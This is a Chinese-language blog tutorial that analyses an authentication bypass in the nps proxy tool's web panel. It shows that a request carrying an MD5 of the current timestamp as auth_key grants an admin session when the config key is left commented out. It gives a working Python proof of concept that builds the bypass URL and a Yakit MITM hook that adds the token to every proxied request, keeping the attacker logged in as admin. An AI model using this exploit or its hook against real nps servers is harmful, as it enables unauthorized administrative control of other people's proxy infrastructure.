Yakit 插件开发之实战nps

之前看到了一篇文章 hvv反制红队第一章之nps代理工具0day漏洞分析 ,感觉非常有意思,所以就想进行一个详细的分析,并进行利用。

漏洞分析

下载 nps 代码 **https://github.com/ehang-io/nps

nps-master\web\controllers\base.go

wKg0C2L7UJyAalY2AAB2QLErVjI468.png

只要满足 (md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) \<= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) 为 true 就可以设置 Session 为 admin

  • md5Key != "" 传入一个值 auth_key

  • (math.Abs(float64(timeNowUnix-int64(timestamp))) \<= 20) 当前时间 减去传入的 timestamp 20

  • (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key) auth_key 默认是注释的所以只需要满足传入的 md5(timestamp) = 传入的 auth_key 就好

    wKg0C2L7UNGAQmSKAABOeU2k6bg464.png

漏洞利用

根据漏洞原理我们写出python 的利用代码并进行验证

import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))

wKg0C2L7UPaAeYZkAABAqqKeV88937.png

wKg0C2L7UP2APcMxAAAv11z2lZg696.png

wKg0C2L7UQOAFhDzAABYIvnJwzs484.png

但是我们发现再点击别的模块时会直接退出,这是因为再次点击时,我们没有再带上我们生成的代码了

仅仅是一个未授权,似乎并没有很大的危害,但是我们知道,nps 中的每一个模块我们都是可以进行利用的,在知道 nps 每个模块的数据包时我们可以轻松构造数据包,但是我们也想通过界面直接轻松点击,就实现功能的跳转,我们就要思考如何进一步利用

wKg0C2L7US2AIyzrAABjnC6wlok529.png

  一个人碎碎念了好久,再寻找浏览器插件无果后,尝试开发 burpsuite 插件,不得不说,burpsuite 插件开发并不是很友好,不仅不能快速上手,我需要的这个功能,花了好久都没实现,于是转战我的救星 Yakit

插件开发

根据 python 利用代码我们写出 Yakit 的利用代码

time_now = time.Now().Unix() 
md5_key = codec.Md5(time_now)
#println(time_now)
#println(md5_key)
auth_key = "?auth_key="+string(md5_key)+"&timestamp="+parseString(time_now)
println(auth_key)

wKg0C2L7UTuAaRqRAAAxQmb5wA707.png

写出 Yakit 生成 Poc 的代码后,我们就思考如何将这个功能添加到插件中,让经过 Yakit 代理的每个 url 都添加上这段 Poc

通过询问大佬后,知道可以通过 MITM 本身热加载中的 hijack开头的hook可以改请求 我们先查看一下相关代码以及注释

# hijackHTTPRequest 每一个新的 HTTPRequest 将会被这个 HOOK 劫持,劫持后通过 forward(modifed) 来把修改后的请求覆盖,如果需要屏蔽该数据包,通过 drop() 来屏蔽
# ATTENTION-DEMO:
#   hijacked = str.ReplaceAll(string(req), "abc", "bcd")
#       1. forward(hijacked):确认转发
#       2. drop() 丢包
#       3. 如果 forward 和 drop 都没有被调用,则使用默认数据流
#       4. 如果 drop 和 forward 在一个劫持中都被调用到了,以 drop 为准
/*
# Demo2 Best In Practice
hijackHTTPRequest = func(isHttps, url, req, forward, drop) {
    if str.Contains(string(req), "/products/plugins/plugin_11") {
        forward(str.ReplaceAll(string(req), "/products/plugins/plugin_11", "/products/plugins/plugin_create"))
    } 

    if str.Contains(string(req), "/products/plugins/plugin_12") {
        drop()
    } 
}
*/

我们看到通过替换 req 中的请求,再通过 forward 将修改后的请求发送出去,这样就可以实现我们想要的功能,编写的代码如下

hijackHTTPRequest = func(isHttps, url, req, forward /*func(modifiedRequest []byte)*/, drop /*func()*/) {
    time_now = time.Now().Unix() 
    md5_key = codec.Md5(time_now)
    auth_key = "?auth_key="+string(md5_key)+"&timestamp="+parseString(time_now)
    println(auth_key)
   if str.Contains(string(req), " HTTP/1.1") {
        forward(str.ReplaceAll(string(req), " HTTP/1.1", auth_key+" HTTP/1.1"))
    } 
}

将代码编辑好后,点击加载当前代码

wKg0C2L7UVyAZ7edAACOKcvvkVU623.png

点击免配置启动加载一个chrome 浏览器,输入一个nps 的网址就直接登录成功

wKg0C2L7UWuAOl3AABYD0SdRM329.png

再点击别的模块也不会出现直接退出的情况

wKg0C2L7UXiAJxHgAABKwgLYKNM891.png

查看一下 yakit 中的数据包

wKg0C2L7UYmATE0GAACS88CXSc371.png

yakit 真是 yyds!!

查看原文